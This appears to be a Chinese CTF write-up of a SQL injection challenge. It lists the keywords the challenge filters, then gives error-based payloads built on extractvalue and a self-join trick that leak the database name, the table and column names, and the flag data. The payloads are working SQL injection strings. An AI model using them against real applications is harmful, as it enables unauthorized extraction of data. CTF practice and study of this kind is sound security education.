- 过滤:
- as
- IF
- rand()
- LEFT
- by
- update
- =
- substring
- handler
- union
- floor
- benchmark
- COLUMN
- UPDATE
- &
- sys.schema_auto_increment_columns
- &&
- '1'='1'
- database
- case
- AND
- right
- CAST
- FLOOR
- left
- updatexml
- DATABASES
- BENCHMARK
- BY
- sleep
- DATABASE
- insert
- anandd
- ascii
- CAST()
其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。
database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。
- 1'||(select * from aa)#或者将||换成or,爆出sqlsql库。
- -1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
- 爆出output表
-
- -1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
- 爆出data列名
- -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#
-
- -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
由于as也被过滤,无列名注入可以用join 连接
首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了
select*from (select*from output a join output b)c